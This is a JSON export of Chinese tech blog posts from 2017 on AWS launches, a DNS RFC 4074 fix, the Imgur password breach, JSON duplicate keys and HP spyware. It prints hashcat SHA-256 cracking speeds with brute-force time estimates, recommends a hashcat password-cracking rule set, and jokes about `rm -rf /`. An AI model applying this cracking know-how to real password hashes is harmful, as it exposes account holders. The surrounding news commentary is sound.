    "body": "自從 <a href=\"https://en.wikipedia.org/wiki/Microsoft_SQL_Server\">Microsoft SQL Server</a> 宣佈可以在 <a href=\"https://en.wikipedia.org/wiki/Linux\">Linux</a> 上跑後 (參考「<a href=\"https://blog.gslin.org/archives/2016/03/08/6403/microsoft-sql-server-%E5%87%BA-linux-%E7%89%88/\">Microsoft SQL Server 出 Linux 版...</a>」)，就沒看到什麼 Linux 上跑 SQL Server 的消息了... 結果在這波 <a href=\"https://aws.amazon.com/\">AWS</a> 的活動上推出了 <a href=\"https://en.wikipedia.org/wiki/Red_Hat_Enterprise_Linux\">RHEL</a> 上跑 SQL Server 的消息：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2017/11/amazon-ec2-now-offers-sql-server-2017-with-red-hat-enterprise-linux-7-4/\">Amazon EC2 now offers SQL Server 2017 with Red Hat Enterprise Linux 7.4</a>」。\r\n\r\n<blockquote>SQL Server 2017 is now available for Amazon EC2 instances running Red Hat Enterprise Linux (RHEL) 7.4 as an Amazon Machine Image (AMI) from the AWS Marketplace. With this release, you can now launch RHEL instances on-demand using SQL Server 2017 Enterprise License Included AMIs without having to bring your own license. SQL Server 2017 on RHEL 7.4 AMI is available in all public AWS regions starting today.</blockquote>\r\n\r\n這個消息看到的時候嚇了一跳...\r\n",
    "title": "AWS 推出可以在 Red Hat Enterprise Linux 上跑 Microsoft SQL Server 的 AMI"
  },
  {
    "id": "7825",
    "body": "早些時候測試發現 <a href=\"http://www.pchome.com.tw/\">PChome</a> 已經修正了之前提到的問題：「<a href=\"https://blog.gslin.org/archives/2017/11/22/7812/pchome-24h-%E9%80%A3%E7%B7%9A%E6%9C%83%E6%85%A2%E7%9A%84%E5%8E%9F%E5%9B%A0/\">PChome 24h 連線會慢的原因...</a>」、「<a href=\"https://blog.gslin.org/archives/2017/11/23/7820/pchome-24h-%E9%80%A3%E7%B7%9A%E6%9C%83%E6%85%A2%E7%9A%84%E5%8E%9F%E5%9B%A0-%E7%BA%8C%E7%AF%87/\">PChome 24h 連線會慢的原因... (續篇)</a>」，這邊除了整理一下以外，也要修正之前文章裡的錯誤。\r\n\r\n在 RFC 4074 (<a href=\"https://tools.ietf.org/html/rfc4074\">Common Misbehavior Against DNS Queries for IPv6 Addresses</a>) 裡面提到了當你只有 IPv4 address 時，DNS server 要怎麼回應的問題。\r\n\r\n在「3. Expected Behavior」說明了正確的作法，當只有 <code>A</code> RR 沒有 <code>AAAA</code> RR 的時候，應該要傳回 <code>NOERROR</code>，而 answer section 裡面不要放東西：\r\n\r\n<blockquote>Suppose that an authoritative server has an A RR but has no AAAA RR for a host name.  Then, the server should return a response to a query for an AAAA RR of the name with the response code (RCODE) being 0 (indicating no error) and with an empty answer section (see Sections 4.3.2 and 6.2.4 of [1]).  Such a response indicates that there is at least one RR of a different type than AAAA for the queried name, and the stub resolver can then look for A RRs.</blockquote>\r\n\r\n在「4.2. Return \"Name Error\"」裡提到，如果傳回 <code>NXDOMAIN</code> (3)，表示查詢的這個名稱完全沒有 RR，而不僅僅限於 <code>AAAA</code> record，這就是我犯的錯誤 (在前面的文章建議傳回 <code>NXDOMAIN</code>)：\r\n\r\n<blockquote>This type of server returns a response with RCODE 3 (\"Name Error\") to a query for an AAAA RR, indicating that it does not have any RRs of any type for the queried name.\r\n\r\nWith this response, the stub resolver may immediately give up and never fall back.  Even if the resolver retries with a query for an A RR, the negative response for the name has been cached in the caching server, and the caching server will simply return the negative response.  As a result, the stub resolver considers this to be a fatal error in name resolution.\r\n\r\nSeveral examples of this behavior are known to the authors.  As of this writing, all have been fixed.</blockquote>\r\n\r\nPChome 這次的修正回應了正確的值 (而不是我提到的 <code>NXDOMAIN</code>)：\r\n\r\n<pre><small><small>$ dig shopping.gs1.pchome.com.tw aaaa @ns1.gs1.pchome.com.tw\r\n\r\n; &lt;&lt;&gt;&gt; DiG 9.9.5-3ubuntu0.16-Ubuntu &lt;&lt;&gt;&gt; shopping.gs1.pchome.com.tw aaaa @ns1.gs1.pchome.com.tw\r\n;; global options: +cmd\r\n;; Got answer:\r\n;; -&gt;&gt;HEADER&lt;&lt;<<- opcode: QUERY, status: NOERROR, id: 40767\r\n;; flags: qr aa rd ad; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1\r\n;; WARNING: recursion requested but not available\r\n\r\n;; OPT PSEUDOSECTION:\r\n; EDNS: version: 0, flags:; udp: 1280\r\n;; QUESTION SECTION:\r\n;shopping.gs1.pchome.com.tw.    IN      AAAA\r\n\r\n;; AUTHORITY SECTION:\r\ngs1.pchome.com.tw.      5       IN      SOA     ns1.gs1.pchome.com.tw. root.dns.pchome.com.tw. 20171123 3600 3 3600 5\r\n\r\n;; Query time: 16 msec\r\n;; SERVER: 210.242.216.91#53(210.242.216.91)\r\n;; WHEN: Fri Nov 24 01:44:52 CST 2017\r\n;; MSG SIZE  rcvd: 134</small></small></pre>\r\n\r\n另外 <a href=\"https://en.wikipedia.org/wiki/Request_for_Comments\">RFC</a> 也有一些其他的文件可以參考，像是 RFC 2308 (<a href=\"https://tools.ietf.org/html/rfc2308\">Negative Caching of DNS Queries (DNS NCACHE)</a>)、RFC 4697 (<a href=\"https://tools.ietf.org/html/rfc4697\">Observed DNS Resolution Misbehavior</a>) 以及 RFC 8020 (<a href=\"https://tools.ietf.org/html/rfc8020\">NXDOMAIN: There Really Is Nothing Underneath</a>)，這些文件描述了蠻多常見的問題以及正確的處理方法，讀完對於現在愈來愈複雜的 DNS 架構有不少幫助。",
    "title": "PChome 修正了問題，以及 RFC 4074 的說明"
  },
  {
    "id": "7827",
    "body": "是在 <a href=\"https://twitter.com/\">Twitter</a> 上看到這則 tweet 才發現 <a href=\"https://www.digitalocean.com/\">DigitalOcean</a> 多了 3GB 的方案：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"en\" dir=\"ltr\">Forge: <a href=\"https://twitter.com/digitalocean?ref_src=twsrc%5Etfw\">@digitalocean</a>’s new $15 / 3GB RAM instances are now available in Forge! ? <a href=\"https://t.co/igiIcstaQF\">pic.twitter.com/igiIcstaQF</a></p>&mdash; Laravel (@laravelphp) <a href=\"https://twitter.com/laravelphp/status/933703314587504642?ref_src=twsrc%5Etfw\">November 23, 2017</a></blockquote>\r\n<script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n如果去翻資料，可以看到官網是在 <a href=\"https://web.archive.org/web/20171108202214/https://www.digitalocean.com/pricing/\">2017/11/08</a> 與 <a href=\"https://web.archive.org/web/20171115211052/https://www.digitalocean.com/pricing/\">2017/11/15</a> 中間增加的...\r\n\r\n看規格可以看出來記憶體很多，但 CPU 與 SSD disk 空間都不是很多，有種 <a href=\"https://aws.amazon.com/ec2/\">Amazon EC2</a> 裡 R 系列機器的感覺，但卻沒放到 High Memory 的列表內 (DigitalOcean 已經有推出 High CPU 與 High Memory 的機種了)，應該是入門款的想法？\r\n\r\n不過價錢還是比同業貴不少... (相比於 <a href=\"https://www.linode.com/\">Linode</a> 與 <a href=\"https://www.vultr.com/\">Vultr</a>)",
    "title": "DigitalOcean 默默的推出了 3GB RAM 的方案"
  },
  {
    "id": "7828",
    "body": "<a href=\"https://www.cloudflare.com/\">Cloudflare</a> 推出了 Wrap 服務：「<a href=\"https://blog.cloudflare.com/get-started-with-warp/\">Want to try Warp? We just enabled the beta for you</a>」。\r\n\r\n本地端的 web server 可以只開 <code>127.0.0.1:{80,443}</code>，然後 Wrap 的程式會連到 Cloudflare 上面接 web request 回來打到你本地端的電腦上，官方舉的例子用 port 8080：\r\n\r\n<pre>$ cloudflare-warp --hostname warp.example.com http://localhost:8080</pre>\r\n\r\n然後也支援多台機器接同一個 hostname (load balancing，順便做 high availability)：\r\n\r\n<pre>$ cloudflare-warp --hostname warp.example.com --lb-pool origin-pool-1 http://localhost:8080</pre>\r\n\r\n對於安全架構多了一些選擇可以用...",
    "title": "Cloudflare 推出的 Wrap 讓你不用在本地端開對外的 Port 80/443"
  },
  {
    "id": "7829",
    "body": "<a href=\"https://www.amazon.com/\">Amazon</a> 的其中一個辦公室拿隔壁 data center 的廢熱借來當自己辦公室的空調：「<a href=\"https://thestack.com/data-centre/2017/11/23/amazon-to-use-data-center-waste-to-heat-corporate-offices/\">Amazon to use data centre waste heat to warm corporate offices</a>」，原始報導在「<a href=\"https://blog.aboutamazon.com/sustainability/the-super-efficient-heat-source-hidden-below-amazons-new-headquarters\">The super-efficient heat source hidden below Amazon's Seattle headquarters</a>」。除了嘗試省電省成本以外，對企業形象也比較好...\r\n\r\n<img src=\"https://i.gslin.com/imgur/doIrGu5.jpg\" alt=\"\" />\r\n\r\n隔壁 <a href=\"https://www.westinbldg.com/\">Westin Building Exchange</a> 的地址是「2001 6th Ave #300, Seattle, WA 98121」，辦公室則是在「2040 6th Ave, Seattle, WA 98121」，無論是從地址上看，或是 <a href=\"https://www.google.com/maps\">Google Maps</a> 上可以看，都可以看出來兩棟就在旁邊而已，拉管線就簡單很多了。\r\n\r\n預定二十五年省 80M 度電，所以一年大約是 3.2M 度，以「<a href=\"https://www.electricitylocal.com/states/washington/seattle/\">Seattle, WA Electricity Rates | Electricity Local</a>」這邊給的數字來算，商業用店每度是 USD$0.068，每年大約省下 USD$217,600 (所以每年大約可以省下台幣六百萬)，以 3800 人的辦公室來說其實有點微妙，不過以 PR 的角度還看其實就很划算了 XDDD：\r\n\r\n<blockquote>It is expected, over the course of 25 years, to save approximately 80 million kWh of electricity use by Amazon.</blockquote>\r\n\r\n不知道這套系統花多少錢...",
    "title": "Amazon 西雅圖辦公室拿隔壁棟 Data Center 的廢熱當空調"
  },
  {
    "id": "7830",
    "body": "<a href=\"https://imgur.com/\">Imgur</a> 官方發佈公告說明他們發現資料洩漏了：「<a href=\"https://blog.imgur.com/2017/11/24/notice-of-data-breach/\">Notice of Data Breach</a>」，資料的洩漏是發生在 2014 年，包括了帳號與密碼：\r\n\r\n<blockquote>Early morning on November 24th, we confirmed that approximately 1.7 million Imgur user accounts were compromised in 2014. The compromised account information included only email addresses and passwords. Imgur has never asked for real names, addresses, phone numbers, or other personally-identifying information (“PII”), so the information that was compromised did NOT include such PII.</blockquote>\r\n\r\n然後 2014 年用的是 <a href=\"https://en.wikipedia.org/wiki/SHA-256\">SHA-256</a>：\r\n\r\n<blockquote>We have always encrypted your password in our database, but it may have been cracked with brute force due to an older hashing algorithm (SHA-256) that was used at the time. We updated our algorithm to the new bcrypt algorithm last year.</blockquote>\r\n\r\n以單台八張 <a href=\"https://en.wikipedia.org/wiki/GeForce_10_series\">GTX 1080</a> 跑 <a href=\"https://hashcat.net/hashcat/\">hashcat</a> 的速度來看 (出自「<a href=\"https://gist.github.com/epixoip/a83d38f412b4737e99bbef804a270c40\">8x Nvidia GTX 1080 Hashcat Benchmarks</a>」)，是 23GH/z 左右：\r\n\r\n<blockquote>Hashtype: SHA256\r\n\r\nSpeed.Dev.#1.:  2865.2 MH/s (96.18ms)\r\nSpeed.Dev.#2.:  2839.8 MH/s (96.65ms)\r\nSpeed.Dev.#3.:  2879.5 MH/s (97.14ms)\r\nSpeed.Dev.#4.:  2870.6 MH/s (96.32ms)\r\nSpeed.Dev.#5.:  2894.2 MH/s (96.64ms)\r\nSpeed.Dev.#6.:  2857.7 MH/s (96.78ms)\r\nSpeed.Dev.#7.:  2899.3 MH/s (96.46ms)\r\nSpeed.Dev.#8.:  2905.7 MH/s (96.26ms)\r\nSpeed.Dev.#*.: 23012.1 MH/s</blockquote>\r\n\r\n這對於鍵盤可以打出的所有字元來計算 (95 chars)，八個字的密碼只要 3.33 天就可以跑完；如果只考慮英文數字 (62 chars)，九個字的密碼只要 6.81 天。\r\n\r\n這些還不是最新的 GPU，而且是單機計算，對於現在的攻擊應該會用 ASIC，可以考慮多三到四個數量級的數度在算 (看財力才會知道買多少機器)。\r\n\r\n不過 Imgur 的帳號主要是參與討論 (因為不用帳號密碼也可以上傳圖片)，一般比較不會在上面註冊... 真的有註冊的因為沒有其他個資，主要是怕共用密碼的問題。如果有用 <a href=\"https://en.wikipedia.org/wiki/Password_manager\">password manager</a> 應該也還好。",
    "title": "Imgur 也漏資料了... (帳號與密碼)"
  },
  {
    "id": "7831",
    "body": "作者寫了一篇「<a href=\"http://andregarzia.com/en/blog/creating-rust-based-nodejs-modules\">Creating Rust-based NodeJS modules</a>」講同樣演算法 <a href=\"https://nodejs.org/\">Node.js</a> 要跑 3.5 秒，<a href=\"https://www.rust-lang.org/\">Rust</a> 只要跑 130ms，所以 Rust 很棒棒之類的...\r\n\r\n<blockquote>So about 3.5 seconds for an answer, in web time that is like an eternity. Our algorithm is a very straight forward one, basically just a filter on a large array.</blockquote>\r\n\r\n<blockquote>The exact same algorithm, with the exact same CSV and coordinates is now executing in about 130ms.</blockquote>\r\n\r\n然後仔細看了一下他的範例，holy...\r\n\r\n這讓我想到之前在「<a href=\"https://blog.gslin.org/archives/2016/08/03/6711/%E7%9C%8B%E5%88%B0-zmx-%E8%B2%BC%E4%BA%86%E4%B9%8B%E5%89%8D%E7%9A%84%E9%80%A3%E7%B5%90%EF%BC%8C%E6%9B%B4%E7%A2%BA%E4%BF%A1-uber-%E7%9A%84%E5%95%8F%E9%A1%8C%E4%B8%8D%E6%98%AF%E6%8A%80%E8%A1%93%E5%95%8F/\">看到 zmx 貼了之前的連結，更確信 Uber 的問題不是技術問題了...</a>」這篇提到的文章「<a href=\"https://medium.com/@buckhx/unwinding-uber-s-most-efficient-service-406413c5871d\">Unwinding Uber’s Most Efficient Service</a>」：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"zh\" dir=\"ltr\">TLDR; <br>Uber：傳統方式太複雜了根據我們資料特性自創一套高效能的空間索引服務。<br>前 Bing 員工：買了 Bing 怎麼不問專家啊？Quadtree 降兩個數量級啊，不然你們自創的做了這個小修改也是降兩個數量級啊！<a href=\"https://t.co/nHw1DgmYtU\">https://t.co/nHw1DgmYtU</a></p>&mdash; zmx (@zmx) <a href=\"https://twitter.com/zmx/status/760456844888248320?ref_src=twsrc%5Etfw\">August 2, 2016</a></blockquote>\r\n<script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n很想講「傻逼你先把演算法修好再來怪 Node.js 慢」，程式會愈來愈難維護都是你們這種人引入一堆複雜的東西 -_-",
    "title": "Rust 是不錯啦，不過..."
  },
  {
    "id": "7832",
    "body": "在「<a href=\"https://blog.gslin.org/archives/2017/11/23/7815/%E5%B0%B1%E7%AE%97%E9%97%9C%E6%8E%89-google-%E7%9A%84%E5%AE%9A%E4%BD%8D%E6%9C%8D%E5%8B%99%E4%B9%9F%E9%82%84%E6%98%AF%E6%9C%83%E8%92%90%E9%9B%86%E4%BD%8D%E7%BD%AE%E8%B3%87%E8%A8%8A/\">就算關掉 Google 的定位服務也還是會蒐集位置資訊...</a>」這邊提到的蒐集問題，南韓出手調查了：「<a href=\"http://money.cnn.com/2017/11/24/technology/google-location-data-regulators/index.html\">Regulators question Google over location data</a>」。\r\n\r\n<blockquote>Regulators in South Korea summoned Google (GOOGL, Tech30) representatives this week to question them about a report that claimed the company was collecting data from Android devices even when location services were disabled.</blockquote>\r\n\r\n英國也在看情況：\r\n\r\n<blockquote>U.K. data protection officials are also looking into the matter.</blockquote>\r\n\r\n美國與歐盟其他國家反而還沒看到消息... (不過美國有可能是以訴訟的方式進行)",
    "title": "南韓出手調查 Google 未經同意蒐集位置資訊的問題了"
  },
  {
    "id": "7833",
    "body": "在「<a href=\"http://www.freebuf.com/sectool/154586.html\">基于统计学的Hashcat密码生成规则：Hob0Rules</a>」這邊看到的專案，雖然有點久了：「<a href=\"https://github.com/praetorian-inc/Hob0Rules\">Password cracking rules for Hashcat based on statistics and industry patterns</a>」。\r\n\r\n裡面有兩個 rule file，<code>hob064.rule</code> 比較簡單：\r\n\r\n<blockquote>hob064 This ruleset contains 64 of the most frequent password patterns used to crack passwords. Need a hash cracked quickly to move on to more testing? Use this list.</blockquote>\r\n\r\n<code>d3adhob0.rule</code> 比較多，也比較完整：\r\n\r\n<blockquote>d3adhob0 This ruleset is much more extensive and utilizes many common password structure ideas seen across every industry. Looking to spend several hours to crack many more hashes? Use this list.</blockquote>\r\n\r\n記錄起來以後應該用的到 XD",
    "title": "Hashcat 的 Rule"
  },
  {
    "id": "7835",
    "body": "在 <a href=\"https://bugs.php.net/\">bugs.php.net</a> 上 2002 年提出來的需求，在十五年後將要實做出來了 (甚至是十六年，如果以 <a href=\"https://secure.php.net/\">PHP</a> 7.3 計算的話)：「<a href=\"https://bugs.php.net/bug.php?id=17400\">PHP :: Request #17400 :: getting ip for eth0</a>」。\r\n\r\n新的 function 是 <code>net_get_interfaces()</code>，實做於 <a href=\"https://github.com/php/php-src/commit/7ca5a7d84ebdc1b97f49cb460f200db093b96d9d\">7ca5a7d84ebdc1b97f49cb460f200db093b96d9d</a> 這包，可以直接拉出一個 array 得知主機網路卡的資訊。",
    "title": "PHP 7.3 將可以直接拉網卡資訊..."
  },
  {
    "id": "7836",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 推出了一連串 AWS Elemental MediaOOXX 一連串影音相關的服務：「<a href=\"https://aws.amazon.com/blogs/aws/aws-media-services-process-store-and-monetize-cloud-based-video/\">AWS Media Services – Process, Store, and Monetize Cloud-Based Video</a>」。\r\n\r\n但不是所有的服務都是相同的區域... 公告分別在：\r\n\r\n<ul>\r\n\t<li><a href=\"https://aws.amazon.com/about-aws/whats-new/2017/11/introducing-aws-elemental-mediaconvert/\">Introducing AWS Elemental MediaConvert</a> (US East (Virginia), US West (Oregon), US West (Northern California), Asia Pacific (Singapore), Asia Pacific (Sydney), Asia Pacific (Tokyo), EU (Frankfurt), and EU (Ireland))</li>\r\n\t<li><a href=\"https://aws.amazon.com/about-aws/whats-new/2017/11/introducing-aws-elemental-medialive/\">Introducing AWS Elemental MediaLive</a> (US East (Virginia), US West (Oregon), Asia Pacific (Singapore), and EU (Ireland))</li>\r\n\t<li><a href=\"https://aws.amazon.com/about-aws/whats-new/2017/11/introducing-aws-elemental-mediapackage/\">Introducing AWS Elemental MediaPackage</a> ( US East (Virginia), US West (Oregon), Asia Pacific (Singapore), Asia Pacific (Sydney), and EU (Ireland))</li>\r\n\t<li><a href=\"https://aws.amazon.com/about-aws/whats-new/2017/11/introducing-aws-elemental-mediastore/\">Introducing AWS Elemental MediaStore</a> (US East (Virginia), US West (Oregon), Asia Pacific (Sydney), and EU (Ireland))</li>\r\n\t<li><a href=\"https://aws.amazon.com/about-aws/whats-new/2017/11/introducing-aws-elemental-mediatailor/\">Introducing AWS Elemental MediaTailor</a> (US East (Virginia), and EU (Ireland))</li>\r\n</ul>\r\n\r\n不過這邊還是引用 Jeff Barr 文章裡的說明，可以看到從很源頭的 transencoding 到 DRM，以及 Live 格式，到後續的檔案儲存及後製 (像是上廣告) 都有：\r\n\r\n<blockquote>AWS Elemental MediaConvert – File-based transcoding for OTT, broadcast, or archiving, with support for a long list of formats and codecs. Features include multi-channel audio, graphic overlays, closed captioning, and several DRM options.\r\n\r\nAWS Elemental MediaLive – Live encoding to deliver video streams in real time to both televisions and multiscreen devices. Allows you to deploy highly reliable live channels in minutes, with full control over encoding parameters. It supports ad insertion, multi-channel audio, graphic overlays, and closed captioning.\r\n\r\nAWS Elemental MediaPackage – Video origination and just-in-time packaging. Starting from a single input, produces output for multiple devices representing a long list of current and legacy formats. Supports multiple monetization models, time-shifted live streaming, ad insertion, DRM, and blackout management.\r\n\r\nAWS Elemental MediaStore – Media-optimized storage that enables high performance and low latency applications such as live streaming, while taking advantage of the scale and durability of Amazon Simple Storage Service (S3).\r\n\r\nAWS Elemental MediaTailor – Monetization service that supports ad serving and server-side ad insertion, a broad range of devices, transcoding, and accurate reporting of server-side and client-side ad insertion.</blockquote>\r\n\r\n引個前同事的 tweet，先不說 <a href=\"https://aws.amazon.com/swf/\">Amazon SWF</a> 的情況 (畢竟 Amazon SWF 還可以找到其他用途)，倒是 <a href=\"https://aws.amazon.com/elastictranscoder/\">Amazon Elastic Transcoder</a> 很明顯要被淘汰掉了：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"ja\" dir=\"ltr\">感覺上 SWF 和 Elastic Transcoder 要被 phase out 了…</p>&mdash; Rianol Jou (@RiAN0l) <a href=\"https://twitter.com/RiAN0l/status/935322231751688192?ref_src=twsrc%5Etfw\">November 28, 2017</a></blockquote>\r\n<script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/PMs9v2s.webp\" /><img src=\"https://i.gslin.com/imgur/PMs9v2s.jpg\" alt=\"\" /></picture>\r\n\r\n這種整個大包的東西是 <a href=\"https://reinvent.awsevents.com\">AWS re:Invent</a> 才有的能量，平常比較少看到...",
    "title": "AWS Media Services 推出一卡車與影音相關的服務..."
  },
  {
    "id": "7837",
    "body": "tl;dr：不要亂來啦... 這是 UB (<a href=\"https://en.wikipedia.org/wiki/Undefined_behavior\">Undefined behavior</a>) 的一種。\r\n\r\n因為看到這則 tweet，所以去查一下 <a href=\"https://www.json.org/\">JSON</a> 的資料：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"zh\" dir=\"ltr\">Google 教你如何往 JSON 里面写注释 <a href=\"https://t.co/pDL6U6jtTa\">pic.twitter.com/pDL6U6jtTa</a></p>&mdash; 魔法少女 ☆ poi 酱 (@PoiScript) <a href=\"https://twitter.com/PoiScript/status/935153037659717633?ref_src=twsrc%5Etfw\">November 27, 2017</a></blockquote>\r\n<script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n首先是找標準是什麼。在維基百科的 <a href=\"https://en.wikipedia.org/wiki/JSON\">JSON</a> 條目裡提到了有兩份標準，一份是 <a href=\"https://tools.ietf.org/html/rfc7159\">RFC 7159</a>，一份是 <a href=\"https://www.ecma-international.org/publications/files/ECMA-ST/ECMA-404.pdf\">ECMA-404</a>：\r\n\r\n<blockquote>Douglas Crockford originally specified the JSON format in the early 2000s; two competing standards, RFC 7159 and ECMA-404, defined it in 2013. The ECMA standard describes only the allowed syntax, whereas the RFC covers some security and interoperability considerations.</blockquote>\r\n\r\nECMA-404 裡面就真的只講語法沒講其他東西，而在 RFC 7159 內的 Object 則是有提到 (重點我就用粗體標起來了)：\r\n\r\n<blockquote>An object structure is represented as a pair of curly brackets surrounding zero or more name/value pairs (or members).  A name is a string.  A single colon comes after each name, separating the name from the value.  A single comma separates a value from a following name.  <strong>The names within an object SHOULD be unique.</strong>\r\n\r\n<pre>   object = begin-object [ member *( value-separator member ) ]\r\n            end-object\r\n\r\n   member = string name-separator value</pre>\r\n\r\nAn object whose names are all unique is interoperable in the sense that all software implementations receiving that object will agree on the name-value mappings.  <strong>When the names within an object are not unique, the behavior of software that receives such an object is unpredictable.</strong>  Many implementations report the last name/value pair only.  Other implementations report an error or fail to parse the object, and some implementations report all of the name/value pairs, including duplicates.\r\n\r\nJSON parsing libraries have been observed to differ as to whether or not they make the ordering of object members visible to calling software.  Implementations whose behavior does not depend on member ordering will be interoperable in the sense that they will not be affected by these differences.</blockquote>\r\n\r\n粗體有描述唯一性，但尷尬的地方在於他用 SHOULD 而非 MUST，所以 library 理論上都要能接受。但後面提到如果不唯一時，行為無法預測 (會到 <code>rm -rf /</code> 嗎？XDDD 最像的應該還是 crash？)，所以還是不要亂來啦...\r\n\r\n不過如果真的會 crash 的話，應該也會因為 DoS issue 而被發 <a href=\"https://cve.mitre.org/\">CVE</a>，所以實務上應該是不會 crash 啦...",
    "title": "JSON 的 Object 裡 Key 重複的問題"
  },
  {
    "id": "7839",
    "body": "看到「<a href=\"https://techcrunch.com/2017/11/27/plexs-dvr-now-lets-you-skip-the-commercials-by-removing-them-for-you/\">Plex’s DVR now lets you skip the commercials… by removing them for you</a>」這篇文章，介紹 <a href=\"https://www.plex.tv/\">Plex</a> 要推出去電視廣告的服務...\r\n\r\n維基百科上的介紹比較清楚：「<a href=\"https://en.wikipedia.org/wiki/Plex_(software)\">Plex (software)</a>」，主要有兩個元件組成，media server 與 player：\r\n\r\n<blockquote><ul>\r\n\t<li>The Plex Media Server desktop application runs on Windows, macOS and Linux-compatibles including some types of NAS devices. The 'server' desktop application organizes video, audio and photos from your collections and from online services, enabling the players to access and stream the contents.</li>\r\n\t<li>The media players. There are official clients available for mobile devices, smart TVs, and streaming boxes, a web app and Plex Home Theater (no longer maintained), as well as many third-party alternatives.</li>\r\n</ul></blockquote>\r\n\r\n然後這次要推出的功能是直接在錄影的時候把廣告拿掉：\r\n\r\n<blockquote>Plex confirmed it’s rolling out a new feature that will allow cord cutters to skip the commercials in the TV programs recorded using its software, making the company’s lower-cost solution to streaming live TV more compelling. Unlike other commercial-skip options, Plex’s option will remove commercials from recordings automatically.</blockquote>\r\n\r\n這讓我有些印像... 當年 <a href=\"https://www.tivo.com/\">TiVo</a> 也有類似的功能，不過文章裡有提到 TiVo 是提供 skip 而非直接拿掉：\r\n\r\n<blockquote>The new feature works by locating the commercials in your recorded media. It then actually removes them before the media is stored in your library. That sounds like it could be even better than TiVo’s commercial skipping option, for example, because you don’t have to press a button to skip the ads — they’re being pulled out for you, proactively.</blockquote>\r\n\r\n不過主要是認識了 Plex 這個軟體... 如果是電視兒童的話應該用的到 XD 台灣目前的電視節目好像看的比較少...",
    "title": "去電視廣告的服務又來了..."
  },
  {
    "id": "7840",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 把 <a href=\"http://activemq.apache.org/\">ActiveMQ</a> 包起來賣服務：「<a href=\"https://aws.amazon.com/blogs/aws/amazon-mq-managed-message-broker-service-for-activemq/\">Amazon MQ – Managed Message Broker Service for ActiveMQ</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/T8Gwne8.webp\" /><img src=\"https://i.gslin.com/imgur/T8Gwne8.jpg\" alt=\"\" /></picture>\r\n\r\n在 AWS 上已經有 <a href=\"https://aws.amazon.com/sqs/\">Amazon SQS</a> 這類服務的情況下，應該還是因為 ActiveMQ 的生態更豐富，所以決定支援 ActiveMQ... 光是支援的通訊協定就比自家多很多，有很多應用可以直接接上去：\r\n\r\n<blockquote>With Amazon MQ, you get direct access to the ActiveMQ console and industry standard APIs and protocols for messaging, including JMS, NMS, AMQP, STOMP, MQTT, and WebSocket.</blockquote>\r\n\r\n不過支援的地區還是有限：\r\n\r\n<blockquote>Amazon MQ is available now and you can start using it today in the US East (Northern Virginia), US East (Ohio), US West (Oregon), EU (Ireland), EU (Frankfurt), and Asia Pacific (Sydney) Regions.</blockquote>\r\n\r\n另外這個服務有提供 free tier，可以讓使用者測試：\r\n\r\n<blockquote>The AWS Free Tier lets you use a single-AZ micro instance for up to 750 hours and to store up to 1 gigabyte each month, for one year. After that, billing is based on instance-hours and message storage, plus charges Internet data transfer if the broker is accessed from outside of AWS.</blockquote>",
    "title": "AWS 推出用 ActiveMQ 架設的服務，Amazon MQ"
  },
  {
    "id": "7842",
    "body": "原來 <a href=\"https://aws.amazon.com/\">AWS</a> 搞 PrivateLink 不只要整合自己的服務，還包括非 AWS 的服務：「<a href=\"https://aws.amazon.com/blogs/aws/aws-privatelink-update-vpc-endpoints-for-your-own-applications-services/\">AWS PrivateLink Update – VPC Endpoints for Your Own Applications &amp; Services</a>」。\r\n\r\n簡略的來說，以往的 SaaS 服務大多都是提供 Public IP 讓客戶端使用，對於服務的使用方與提供方來說，當兩者都在 AWS 同一個 region 時，在處理 security group 設定不太方便，所以通常就不會設定... 另外還要注意可以從外部透過 access token 存取服務 (像是有員工離職，但 access token 未必會換掉)。\r\n\r\n這次推出的 PrivateLink + SaaS 的組合提供了另外一個選擇，可以把服務藏在內部，安全性比以前好很多：\r\n\r\n<blockquote>Today we are building upon the initial launch and extending the PrivateLink model, allowing you to set up and use VPC Endpoints to access your own services and those made available by others.</blockquote>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/EGsWlwC.webp\" /><img src=\"https://i.gslin.com/imgur/EGsWlwC.jpg\" alt=\"\" /></picture>\r\n\r\n不過這個機制綁 AWS 綁的更深了...",
    "title": "AWS PrivateLink + SaaS 的用法"
  },
  {
    "id": "7843",
    "body": "討論的頗熱烈的，像是「<a href=\"https://www.neowin.net/news/hp-is-installing-spyware-on-its-machines-disguised-as-an-analytics-client\">HP is installing spyware on its machines disguised as an \"analytics client\"</a>」、「<a href=\"https://www.computerworld.com/article/3238512/microsoft-windows/hp-stealthily-installs-new-spyware-called-hp-touchpoint-analytics-client.html\">HP stealthily installs new spyware called HP Touchpoint Analytics Client</a>」。\r\n\r\n這個軟體會被注意到是因為吃太多資源，而且使用者沒有同意安裝這個軟體 (目前看是起來是透過自動更新機制裝進去的)：「<a href=\"https://h30434.www3.hp.com/t5/Desktop-Software-and-How-To-Questions/I-Didn-t-Install-HP-TouchpointAnalyticsClient-and-It-s/td-p/6427652\">Didn't Install HP TouchpointAnalyticsClient and It's Causing CPU 95-98 Red</a>」(先備份一份在<a href=\"https://archive.fo/AzmzD\">這邊</a>，以免被砍...)。\r\n\r\n然後這軟體很明顯會傳資料回 HP：\r\n\r\n<blockquote>The HP Touchpoint Manager technology is now being delivered as a part of HP Device as a Service (DaaS) Analytics and Proactive Management capabilities. Therefore, HP is discontinuing the self-managed HP Touchpoint Manager solution.</blockquote>\r\n\r\n先前聯想因為類似的行為賠了 350 萬美金，這次 HP 搞這包不知道會怎麼樣...",
    "title": "這次換 HP 裝 Spyware 啦～"
  },
  {
    "id": "7844",
